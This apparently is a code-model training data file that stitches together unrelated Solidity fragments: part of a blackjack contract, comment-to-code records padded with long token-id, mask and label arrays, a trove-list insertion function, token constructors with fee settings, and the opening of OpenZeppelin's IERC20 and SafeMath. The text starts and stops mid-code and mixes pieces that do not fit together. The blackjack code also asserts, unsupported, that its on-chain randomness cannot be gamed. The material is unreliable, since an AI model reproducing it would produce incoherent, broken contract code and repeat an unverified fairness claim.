OF THE GAME LOGIC HERE //END PLACEHOLDER, REMOVE THESE COMMENTS } function _Hit() public requireHandActive(true) requirePlayerActive(true) { //both the hand and player turn must be active in order to hit uint a=randgen(); //generate a new card playerCards[msg.sender].push(a); checkGameState(); } function _Stand() public requireHandActive(true) requirePlayerActive(true) { //both the hand and player turn must be active in order to stand isPlayerActive[msg.sender] = false; //Player ends their turn, now dealer's turn checkGameState(); } function checkGameState() internal requireHandActive(true) { //checks game state, processing it as needed. Should be called after any card is dealt or action is made (eg: stand). //IMPORTANT: Make sure this function is NOT called in the event of a blackjack. Blackjack should calculate things separately if (isPlayerActive[msg.sender] == true) { uint handPower = card2PowerConverter(playerCards[msg.sender]); if (handPower > 21) { //player busted processHandEnd(false); } else if (handPower == 21) { //autostand. Ensure same logic in stand is used isPlayerActive[msg.sender] = false; dealerHit(); } else if (handPower <21) { //do nothing, player is allowed another action } } else if (isPlayerActive[msg.sender] == false) { dealerHit(); } } function dealerHit() internal requireHandActive(true) requirePlayerActive(false) { //dealer hits after player ends turn legally. Nounces can be incrimented with hits until turn finished. uint[] storage houseCardstemp = houseCards[msg.sender]; uint[] storage playerCardstemp = playerCards[msg.sender]; uint tempCard; while (card2PowerConverter(houseCardstemp) < 17) { //keep hitting on the same block for everything under 17. Same block is fine for dealer due to Nounce increase //The house cannot cheat here since the player is forcing the NEXT BLOCK to be the source of randomness for all hits, and this contract cannot voluntarily skip blocks. tempCard = randgen(); if (blackJackHouseProhibited[msg.sender] != 0) { while (cardsPower[(tempCard + 13) % 13] == blackJackHouseProhibited[msg.sender]) { //don't deal the first card as prohibited card tempCard = randgen(); } blackJackHouseProhibited[msg.sender] = 0; } houseCardstemp.push(tempCard); } //First, check if the dealer busted for an auto player win if (card2PowerConverter(houseCardstemp) > 21 ) { processHandEnd(true); } //If not, we do win logic here, since this is the natural place to do it (after dealer hitting). 3 Scenarios are possible... => if (card2PowerConverter(playerCardstemp) == card2PowerConverter(houseCardstemp)) { //push, return bet msg.sender.transfer(betAmount[msg.sender]); payoutAmount[msg.sender]=betAmount[msg.sender]; gamestatus[msg.sender] = 4; isActive[msg.sender] = false; //let's declare this manually only here, since processHandEnd is not called. Not needed for other scenarios. } else if (card2PowerConverter(playerCardstemp) > card2PowerConverter(houseCardstemp)) { //player hand has more strength processHandEnd(true); } else { //only one possible scenario remains.. dealer hand has more strength processHandEnd(false); } } function processHandEnd(bool _win) internal { //hand is over and win is either true or false, now process it if (_win == false) { //do nothing, as player simply lost } else if (_win == true) { uint winAmount = betAmount[msg.sender] * 2; msg.sender.transfer(winAmount); payoutAmount[msg.sender]=winAmount; } gamestatus[msg.sender] = 5; isActive[msg.sender] = false; } //TODO: Log an event after hand, showing outcome function isBlackjack() internal { //fill this function later to check both player and dealer for a blackjack after _play is called, then process //4 possibilities: dealer blackjack, player blackjack (paying 3:2), both blackjack (push), no blackjack //copy processHandEnd for remainder blackJackHouseProhibited[msg.sender]=0; //set to 0 incase it already has a value bool houseIsBlackjack = false; bool playerIsBlackjack = false; //First thing: For dealer check, ensure if dealer doesn't get blackjack they are prohibited from their first hit resulting in a blackjack uint housePower = card2PowerConverter(houseCards[msg.sender]); //read the 1 and only house card, if it's 11 or 10, then deal temporary new card for bj check if (housePower == 10 || housePower == 11) { uint _card = randgen(); if (housePower == 10) { if (cardsPower[_card] == 11) { //dealer has blackjack, process houseCards[msg.sender].push(_card); //push card as record, since game is now over houseIsBlackjack = true; } else { blackJackHouseProhibited[msg.sender]=uint(11); //ensure dealerHit doesn't draw this powerMax } } else if (housePower == 11) { if (cardsPower[_card] == 10) { //all 10s //dealer has blackjack, process houseCards[msg.sender].push(_card); //push card as record, since game is now over houseIsBlackjack = true; } else{ blackJackHouseProhibited[msg.sender]=uint(10); //ensure dealerHit doesn't draw this powerMax } } } //Second thing: Check if player has blackjack uint playerPower = card2PowerConverter(playerCards[msg.sender]); if (playerPower == 21) { playerIsBlackjack = true; } //Third thing: Return all four possible outcomes: Win 1.5x, Push, Loss, or Nothing (no blackjack, continue game) if (playerIsBlackjack == false && houseIsBlackjack == false) { //do nothing. Call this first since it's the most likely outcome } else if (playerIsBlackjack == true && houseIsBlackjack == false) { //Player has blackjack, dealer doesn't, reward 1.5x bet (plus bet return) uint winAmount = betAmount[msg.sender] * 5/2; msg.sender.transfer(winAmount); payoutAmount[msg.sender] = betAmount[msg.sender] * 5/2; gamestatus[msg.sender] = 2; isActive[msg.sender] = false; } else if (playerIsBlackjack == true && houseIsBlackjack == true) { //Both player and dealer have blackjack. Push - return bet only uint winAmountPush = betAmount[msg.sender]; msg.sender.transfer(winAmountPush); payoutAmount[msg.sender] = winAmountPush; gamestatus[msg.sender] = 4; isActive[msg.sender] = false; } else if (playerIsBlackjack == false && houseIsBlackjack == true) { //Only dealer has blackjack, player loses gamestatus[msg.sender] = 3; isActive[msg.sender] = false; } } function readCards() external view returns(uint[],uint[]) { //returns the cards in play, as an array of playercards, then houseCards return (playerCards[msg.sender],houseCards[msg.sender]); } function readPower() external view returns(uint, uint) { //returns current card power of player and house return (card2PowerConverter(playerCards[msg.sender]),card2PowerConverter(houseCards[msg.sender])); } function donateEther() public payable { //do nothing } function withdrawToOwnerCheck() internal { //auto call this //Contract profit withdrawal to the current contract owner is disabled unless contract balance exceeds requiredHouseBankroll //If this condition is met, requiredHouseBankroll must still always remain in the contract and cannot be withdrawn. uint houseBalance = address(this).balance; if (houseBalance > requiredHouseBankroll + autoWithdrawBuffer) { //see comments at top of contract uint permittedWithdraw = houseBalance - requiredHouseBankroll; //leave the required bankroll behind, withdraw the rest address _owner = owner(); _owner.transfer(permittedWithdraw); } } }
only one possible scenario remains.. dealer hand has more strength
else { processHandEnd(false); }
13,126,684
[ 1, 3700, 1245, 3323, 10766, 22632, 838, 15448, 948, 711, 1898, 21638, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 469, 288, 203, 5411, 1207, 1144, 1638, 12, 5743, 1769, 203, 3639, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/137/0x11d455366ba5D590e7838c4CEcE9aCC95C567e46/sources/contracts/trove-factory.sol
* @dev insert a trove in the sorted list of troves. the troves must be sorted by collateralisation ratio CR the sender must be the trove which will be inserted in the list @param _newNextTrove is the trove before which the trove will be added/ if now hint is provided we start by trying the last trove in the list if the NewNextTrove is the same as the trove being changed, then it should be changed to the trove's nextTrove unless the trove is the lastTrove in which case it is changed to the previousTrove insertTrove is never called if there is only one trove in the list the lastTrove has itself as the nextTrove troves with zero debt have infinite collateralisation and can be put safely at the end of the list if the first trove in the list has a bigger CR then this trove becomes the new first trove. No loop required the previous trove of the new next trove should have a smaller or equal CR to the inserted trove it is cheaper (in gas) to assign the reference to the previous trove and insert after than to check twice for the CR this is why the loop is a "do while" instead of a "while do" the ICR of the newNextTrove is smaller than the inserted trove's only loop through the troves if the newNextTrove is not the last the previous trove of the new next trove should have a smaller or equal CR to the inserted trove
function insertTrove(address _token, address _newNextTrove) public override troveExists(_token, msg.sender) { require( containsTrove(_token, _newNextTrove) || _newNextTrove == address(0), "3a669 the trove hint must exist in the list or be 0x0" ); if (_newNextTrove == address(0)) { _newNextTrove = lastTrove(_token); } if (_newNextTrove == msg.sender) { address nextTroveAddress = nextTrove(_token, _newNextTrove); _newNextTrove = _newNextTrove != nextTroveAddress ? nextTroveAddress : prevTrove(_token, _newNextTrove); } ITrove trove = ITrove(msg.sender); ITrove ref = ITrove(_newNextTrove); bool insertBefore = true; if (trove.debt() == 0) { require( _troves[_token].list.add(address(trove), address(0x0), false), "3a669 trove could not be inserted in the list" ); emit TroveInserted(_token, address(trove), address(0x0), false); uint256 icr = trove.collateralization(); uint256 refIcr = ref.collateralization(); if (refIcr >= icr) { if (_newNextTrove != firstTrove(_token)) { do { ref = ITrove(prevTrove(_token, address(ref))); refIcr = ref.collateralization(); } while (refIcr > icr && address(ref) != _troves[_token].list._first); } } else { if (_newNextTrove != lastTrove(_token)) { do { ref = ITrove(nextTrove(_token, address(ref))); refIcr = ref.collateralization(); } while (refIcr < icr && address(ref) != _troves[_token].list._last); } } insertBefore = refIcr > icr; require( _troves[_token].list.add(address(trove), address(ref), insertBefore), "3a669 trove could not be inserted in the list" ); emit TroveInserted(_token, address(trove), address(ref), insertBefore); } }
4,722,869
[ 1, 6387, 279, 23432, 537, 316, 326, 3115, 666, 434, 23432, 3324, 18, 326, 23432, 3324, 1297, 506, 3115, 635, 4508, 2045, 287, 10742, 7169, 6732, 326, 5793, 1297, 506, 326, 23432, 537, 1492, 903, 506, 9564, 316, 326, 666, 225, 389, 2704, 2134, 56, 303, 537, 353, 326, 23432, 537, 1865, 1492, 326, 23432, 537, 903, 506, 3096, 19, 309, 2037, 7380, 353, 2112, 732, 787, 635, 8374, 326, 1142, 23432, 537, 316, 326, 666, 309, 326, 1166, 2134, 56, 303, 537, 353, 326, 1967, 487, 326, 23432, 537, 3832, 3550, 16, 1508, 518, 1410, 506, 3550, 358, 326, 23432, 537, 1807, 1024, 56, 303, 537, 3308, 326, 23432, 537, 353, 326, 1142, 56, 303, 537, 316, 1492, 648, 518, 353, 3550, 358, 326, 2416, 56, 303, 537, 2243, 56, 303, 537, 353, 5903, 2566, 309, 1915, 353, 1338, 1245, 23432, 537, 316, 326, 666, 326, 1142, 56, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 225, 445, 2243, 56, 303, 537, 12, 2867, 389, 2316, 16, 1758, 389, 2704, 2134, 56, 303, 537, 13, 1071, 3849, 23432, 537, 4002, 24899, 2316, 16, 1234, 18, 15330, 13, 288, 203, 565, 2583, 12, 203, 1377, 1914, 56, 303, 537, 24899, 2316, 16, 389, 2704, 2134, 56, 303, 537, 13, 747, 389, 2704, 2134, 56, 303, 537, 422, 1758, 12, 20, 3631, 203, 1377, 315, 23, 69, 6028, 29, 326, 23432, 537, 7380, 1297, 1005, 316, 326, 666, 578, 506, 374, 92, 20, 6, 203, 565, 11272, 203, 203, 565, 309, 261, 67, 2704, 2134, 56, 303, 537, 422, 1758, 12, 20, 3719, 288, 203, 1377, 389, 2704, 2134, 56, 303, 537, 273, 1142, 56, 303, 537, 24899, 2316, 1769, 203, 565, 289, 203, 203, 565, 309, 261, 67, 2704, 2134, 56, 303, 537, 422, 1234, 18, 15330, 13, 288, 203, 1377, 1758, 1024, 56, 303, 537, 1887, 273, 1024, 56, 303, 537, 24899, 2316, 16, 389, 2704, 2134, 56, 303, 537, 1769, 203, 1377, 389, 2704, 2134, 56, 303, 537, 273, 389, 2704, 2134, 56, 303, 537, 480, 1024, 56, 303, 537, 1887, 692, 1024, 56, 303, 537, 1887, 294, 2807, 56, 303, 537, 24899, 2316, 16, 389, 2704, 2134, 56, 303, 537, 1769, 203, 565, 289, 203, 203, 565, 24142, 303, 537, 23432, 537, 273, 24142, 303, 537, 12, 3576, 18, 15330, 1769, 203, 565, 24142, 303, 537, 1278, 273, 24142, 303, 537, 24899, 2704, 2134, 56, 303, 537, 1769, 203, 565, 1426, 18004, 273, 638, 31, 203, 203, 565, 2 ]
./partial_match/1/0xf7C2AF7cDEB633598b51f39916D991b3e7b3e61F/sources/Snark.sol
*****************/ exclude from paying fees or having max transaction amount
constructor() ERC20("Hunting of The Snark", "BELLMAN") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 10_000_000_000 * 1e18; swapTokensAtAmount = (totalSupply * 5) / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; devWallet = address(0xC1212c0b87A1E5b91909b5e1720B2Eb9EBDB7A97); excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
2,716,278
[ 1, 19, 4433, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 44, 318, 1787, 434, 1021, 18961, 1313, 3113, 315, 38, 21943, 9560, 7923, 288, 203, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 203, 5411, 374, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 203, 3639, 11272, 203, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 10756, 203, 5411, 263, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 203, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 1381, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 2 ]
./partial_match/1/0x94b23249604A05dd3478967Ed9A239Dfe986cD25/sources/COW.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("COW", "COW") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 5; uint256 _earlySellDevFee = 0; uint256 totalSupply = 1 * 1e12 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
3,696,928
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 4232, 39, 3462, 2932, 3865, 59, 3113, 315, 3865, 59, 7923, 288, 203, 7010, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 7010, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 7010, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 7010, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 1381, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 273, 374, 31, 203, 7010, 3639, 2 ]
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. 